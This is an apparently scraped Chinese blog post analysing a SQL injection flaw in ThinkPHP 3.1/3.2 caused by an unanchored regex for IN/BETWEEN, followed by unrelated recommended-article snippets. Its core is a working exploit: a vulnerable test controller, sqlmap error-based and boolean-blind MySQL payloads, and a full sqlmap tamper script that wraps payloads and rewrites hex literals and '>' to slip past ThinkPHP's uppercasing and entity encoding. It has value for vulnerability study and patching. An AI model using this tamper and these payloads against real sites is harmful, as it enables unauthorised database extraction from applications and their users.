Author:m3d1t10n

前两天看到phithon大大在乌云发的关于ThinkPHP的漏洞,想看看是什么原因造成的。可惜还没有公开,于是就自己回来分析了一下。

0x00官方补丁(DB.class.php parseWhereItem($key,$val))
注意红色框框起来的部分

0x01分析

 
 
 
 
 

PHP

 
preg_match('/IN/i',$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入

preg_match('/BETWEEN/i',$val[0]) //同上

1
2
3
preg_match('/IN/i',$val[0]) //该正则没有起始符和终止符,xxxxinxxxxx等任意包含in的字符串都可以匹配成功,因而构成了注入
 
preg_match('/BETWEEN/i',$val[0]) //同上

0x02验证

 
 
 
 
 
 

PHP

 
class IndexAction extends Action {
public function index(){
$user = I("param.user");
$pass = I("param.pass");
$where["user"] = $user;
$where["pass"] = $pass;

var_dump($where);
$model = M("user");
$data = $model->where($where)->select();
echo $model->getLastSql(); // 打印sql语句
echo "<br/>";
var_dump($data); // 打印数据
die(mysql_error()); // 打印错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class IndexAction extends Action {
    public function index(){
          $user  =  I("param.user");
      $pass  =  I("param.pass");
      $where["user"] = $user;
      $where["pass"] = $pass;
      
      
      var_dump($where);
        $model = M("user");
        $data =  $model->where($where)->select();
      echo $model->getLastSql(); //   打印sql语句
      echo "<br/>";
      var_dump($data);     // 打印数据
      die(mysql_error());  //  打印错误

1.1正常访问

1.2poc

0x03编写支持此注入的tamper
(支持mysql)
3.1由于php中有这样一段话,会将我们插入的语句全变成大写,所以我们要将payloa做一个转换

 
 
 
 
 
 

PHP

 
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';
1
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';

3.2sqlmap mysql error based 注入语句

 
 
 
 
 
 

Transact-SQL

 
AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
/**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的 **/
1
2
AND (SELECT 8080 FROM(SELECT COUNT(*),CONCAT(0x3a7a61623a,(SELECT (CASE WHEN (QUARTER(NULL) IS NULL) THEN 1 ELSE 0 END)),0x3a6c697a3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
/**其中的0x3a7a61623a等十六进制字符会因为x变成大写而报错,所以我们需要将他们匹配出来变成小写的  **/

3.3sqlmap myql boolean blind 注入语句

 
 
 
 
 
 

Transact-SQL

 
AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51

payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"
num = 51
/**
因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成
floor(payload / num.5)
例如:
52>51==1 为真
floor(52/51.5)==1 为真
51>51==0 为假
floor(51/51.5)==0 为假 **/

1
2
3
4
5
6
7
8
9
10
11
12
13
AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51
 
 
payload = "ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))"
num = 51
/**
因为>会被thinkphp进行实体编码,所以我们需要将整条语句换成
floor(payload / num.5)
例如:
52>51==1 为真
floor(52/51.5)==1  为真
51>51==0 为假
floor(51/51.5)==0 为假 **/

3.4最后的tamper代码

 
 
 
 
 
 

Python

 
#__author__ = 'm3d1t10n'
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
d = {"ror":"rand","and":"or"}
#f.write(payload+"\n")
t = re.findall('(0x\w+)',payload.lower())
for expression in t:
d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])
for key in d:
payload = payload.lower().replace(key,d[key])
prefix = "in%20(%27xxx%27))%20"
subfix = "%20--%20"
payload
payload = prefix + payload + subfix
t = re.findall('or (.+)>(\d+)',payload.lower())
#print payload
if t:
payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))
#print payload
#f.write(payload+"\n")
return payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#__author__ = 'm3d1t10n'
import re
import binascii
#f = open("out.dat","w")
def tamper(payload, **kwargs):
    d = {"ror":"rand","and":"or"}
    #f.write(payload+"\n")
    t = re.findall('(0x\w+)',payload.lower())
    for expression in t:
        d[expression] = "lower('%s')" % binascii.unhexlify(expression[2:])  
    for key in d:
        payload = payload.lower().replace(key,d[key])
    prefix = "in%20(%27xxx%27))%20"
    subfix = "%20--%20"
    payload
    payload = prefix + payload + subfix
    t = re.findall('or (.+)>(\d+)',payload.lower())
    #print payload
    if t:
        payload = payload.replace(t[0][0]+'>'+t[0][1],"ceil(floor(%s/%s.5))"%(t[0][0],t[0][1]))
    #print payload
    #f.write(payload+"\n")
    return payload

0x04sqlmap 本地测试
4.1boolean based

thinkphp.py

ThinkPHP 3.1、3.2一个通用的漏洞分析的更多相关文章

  1. 编写一个通用的Makefile文件

    1.1在这之前,我们需要了解程序的编译过程 a.预处理:检查语法错误,展开宏,包含头文件等 b.编译:*.c-->*.S c.汇编:*.S-->*.o d.链接:.o +库文件=*.exe ...

  2. Linux C编程学习之开发工具3---多文件项目管理、Makefile、一个通用的Makefile

    GNU Make简介 大型项目的开发过程中,往往会划分出若干个功能模块,这样可以保证软件的易维护性. 作为项目的组成部分,各个模块不可避免的存在各种联系,如果其中某个模块发生改动,那么其他的模块需要相 ...

  3. 封装一个通用递归算法,使用TreeIterator和TreeMap来简化你的开发工作。

    在实际工作中,你肯定会经常的对树进行遍历,并在树和集合之间相互转换,你会频繁的使用递归. 事实上,这些算法在逻辑上都是一样的,因此可以抽象出一个通用的算法来简化工作. 在这篇文章里,我向你介绍,我封装 ...

  4. 一个通用的DataGridView导出Excel扩展方法(支持列数据格式化)

    假如数据库表中某个字段存放的值“1”和“0”分别代表“是”和“否”,要在DataGridView中显示“是”和“否”,一般用两种方法,一种是在sql中直接判断获取,另一种是在DataGridView的 ...

  5. 利用RBAC模型实现一个通用的权限管理系统

    本文主要描述一个通用的权限系统实现思路与过程.也是对此次制作权限管理模块的总结. 制作此系统的初衷是为了让这个权限系统得以“通用”.就是生产一个web系统通过调用这个权限系统(生成的dll文件), 就 ...

  6. 为了去重复,写了一个通用的比较容器类,可以用在需要比较的地方,且支持Lamda表达式

    为了去重复,写了一个通用的比较容器类,可以用在需要比较的地方,且支持Lamda表达式,代码如下: public class DataComparer<T>:IEqualityCompare ...

  7. 用Java实现一个通用并发对象池

    这篇文章里我们主要讨论下如何在Java里实现一个对象池.最近几年,Java虚拟机的性能在各方面都得到了极大的提升,因此对大多数对象而言,已经没有必要通过对象池来提高性能了.根本的原因是,创建一个新的对 ...

  8. 一个通用数据库访问类(C#,SqlClient)

    本文转自:http://www.7139.com/jsxy/cxsj/c/200607/114291.html使用ADO.NET时,每次数据库操作都要设置connection属性.建立connecti ...

  9. Java反射结合JDBC写的一个通用DAO

    以前写反射只是用在了与设计模式的结合上,并没有考虑到反射可以与DAO结合.也是一个偶然的机会,被正在上培训的老师点到这个问题,才考虑到这个可能性,于是上网参考各种代码,然后自己动手开发了一个通用DAO ...

随机推荐

  1. 【转】log4js在PM2的cluster模式下大坑

    请直接查看原文:https://blog.yourtion.com/fix-log4js-with-pm2-not-work.html 之前一直使用 debug 还有 console.log 去打日志 ...

  2. 根据窗口尺寸onresize判断窗口的大小

    <!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF-8&quo ...

  3. centos6.5 mysql忘记登入密码

    1.修改文件目录为/etc/my.cnf的文件; 在[mysqld]的段中加上一句:skip-grant-tables,保存文件重启数据库: 例如: [mysqld] skip-grant-table ...

  4. [bzoj3944] sum [杜教筛模板]

    题面: 传送门 就是让你求$ \varphi\left(i\right) $以及$ \mu\left(i\right) $的前缀和 思路: 就是杜教筛的模板 我们把套路公式拿出来: $ g\left( ...

  5. Nginx ServerName 配置说明(转)

    Nginx强大的正则表达式支持,可以使server_name的配置变得很灵活,如果你要做多用户博客,那么每个用户拥有自己的二级域名也就很容易实现了. 下面我就来说说server_name的使用吧: s ...

  6. 51Nod 1028 大数乘法 V2

    http://www.51nod.com/onlineJudge/questionCode.html#!problemId=1028 分析: FFT/NTT板子题... 代码: NTT板子: #inc ...

  7. SQL只获取字段中的中文字符

    原文发布时间为:2010-10-28 -- 来源于本人的百度文章 [由搬家工具导入] 新建标量函数 set ANSI_NULLS ONset QUOTED_IDENTIFIER ONGOALTER f ...

  8. 利用$.getJSON() 跨域请求操作

    原文发布时间为:2011-01-14 -- 来源于本人的百度文章 [由搬家工具导入] $.get 没有权限? $.post 没有权限? 因为他们都不能跨域,那就用 $.getJSON() 吧 利用$. ...

  9. 【Linux】可重入函数和线程安全的区别与联系【转】

    转自:http://blog.csdn.net/scenlyf/article/details/52074444 版权声明:本文为博主原创文章,未经博主允许不得转载. *****可重入函数 函数被不同 ...

  10. mysql 连接远程服务器

    想要在本地连接远程服务器上的mysql, 需要在远程服务器的mysql配置里面,修改一下访问权限 mysql的配置里面,默认只能本地访问,在服务器上,修改/etc/mysql/my.cnf文件找到这一 ...